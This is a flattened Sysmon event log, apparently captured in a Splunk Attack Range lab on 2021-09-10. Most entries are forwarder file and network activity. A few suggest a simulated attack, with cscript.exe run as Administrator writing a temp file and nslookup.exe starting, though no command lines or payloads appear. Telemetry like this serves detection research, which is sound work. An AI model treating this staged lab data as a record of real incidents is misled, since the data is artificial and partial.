15:12:00.534{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1984B529BF46888D2EC4858C4BA6AAFC,SHA256=7CB10E3A183F711F6AB0A9A0539F2B3CEDAA0A7783B1EB66AD82B2ABF211D26E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000058485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:57.788{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63233-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000058484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:57.788{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63233-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000058487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:01.550{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C4A945829D75ADA66A4113627BC1ADF,SHA256=68D6E0942C93CD709263A8FE2879BA5173FA7F54268F70EB75FA14A974911149,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018799Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:01.643{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=781687B3625887E7F4DEF5294446A2FE,SHA256=2A881C4B888C35C4CF3C74CA55CF2E4F24BEDEFCA7742C648C5A204A6FE93452,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018798Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:59.477{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50451-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018801Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:02.690{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=439B73147B0BAF5DCA3FFE1898705193,SHA256=84BFC275C2756C994B82E327E893F626CB67BFB9D398095AC67E61F4826D49EB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:02.612{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C07415000A52F915AED26507FCAFF368,SHA256=B000CA4B9C8890013356921454D8FCA2FC06F810BDB8E158DFD3B2AAB19BDBAD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018800Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:02.424{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=8078933D74306F746957BF5DC91920B8,SHA256=43915CB0CA1C82506DF8CAF5A848ECD664C1EB41F9B3793DE7AFE09DE7202E6A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018802Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:03.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4DCA34BD3FF0C1D918EC261F300D1D62,SHA256=EF124027F18670EDFB2E1DA395C054ADB205BFD9DA00A9873514AC839B0D78B7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:03.690{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A947F2C65091EE59AF459C8A7C72F1E,SHA256=8D6A504D607A0B5AF6437B11F0B2AA4F2C768E4F7C0A0F40BB858939B4DF180A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000058489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:01.382{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63234-false10.0.1.12-8000- 23542300x800000000000000018803Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:04.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=66E6691A52A8B2645E58B44D693A2F11,SHA256=921302E3918CE592BE3CC1591831A93E0C43299C089F316EA19D87934DABDA9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:04.706{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=025DF3AAEC83CD77AF1136BCF46C41B1,SHA256=07FB05E4355A501F20CB48C3D5E4637BE223B9256439AB2EE81F067E7E72F4C8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018804Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:05.768{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9FD9158882E5399B860271E9A7E8C21,SHA256=3C5E2D3F3D58BF6B62228361F742F553AD302730F126E700A9E567F140A0304A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:05.753{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9424A9CE63A05D222571C3B42D0E26E5,SHA256=61FB45479052C67C1B843CC396F43D7B6E102091B458B7F9C40E6DF771184899,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.815{7BD73061-728E-613B-5B0B-00000000F001}1020ATTACKRANGE\AdministratorC:\Windows\system32\cscript.exeC:\Users\ADMINI~1\AppData\Local\Temp\nlyxy.tmpMD5=E49FF0E15C9F9DFACBF2FB2662ED7DD3,SHA256=C8A222D3B5E0CD0712BBF32F8187753DD3FDF63B5C6A8801DB536B101530D183,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000058498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.800{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 23542300x800000000000000058497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.800{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E7618AB53824CB6515214072AC088EC,SHA256=04A861705DE8764C58E3E7A04B53D5A261741C0FDA60AE39E8937E6F4C105C2F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000058496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.800{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.800{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.800{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.800{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 23542300x800000000000000018806Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:06.768{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B520E49E9D8699B29853C672E251984,SHA256=3CFD867838B0167AF452FA307EB5C6CE3DF66758874E1A04FECD7D58EC7424E6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018805Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:05.446{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50452-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018807Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:07.783{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FB3111F789F7EDC4190DB998C5578A97,SHA256=E3933FD8C186223056C06C9A6F4618A7F33E7CC6C4682507693736F7B7649FA9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:07.847{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AFD8C26B52C32D441AB8FAD420B5ABBB,SHA256=9FF88859A4E25305F0A8BF3E834E96E5791176720ED424F20C8B39EE8C50D010,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:08.862{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=64C526396DD6CC8DE3243A080CFEB272,SHA256=50829E2B7867366B39DE7B5A77D360BF471DA0DF5EFEEB4DD25821C3D98B22A0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018808Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:08.783{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1FBA36FFFE11D484FE2725311FCD8461,SHA256=8FBC9D3B6C9844348A04A588DF3BF570EB95D66FFDF60E6F1C26A91E71F9F038,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018809Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:09.846{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A33B59796AC0D837C68447E9158ED78,SHA256=4E252825E3A459C8FF09B09F9DD474EAB613A3723870462BB590A66174BAD1A0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:06.491{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63235-false10.0.1.12-8000- 23542300x800000000000000018810Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:10.862{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E07C981C3C578D73B7488478552800B8,SHA256=C1BFC5649C6F9B7E6799E24B60DCABBEDD800CE2F7B3F91BE3096D8F407B6825,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:12:10.081{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B5E951DE97380611D8F8BD2AC7ABCC4,SHA256=4D261CD42392DC6829063E854BA149BA5CF7BF7DE43200B10FD1E7E636250282,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space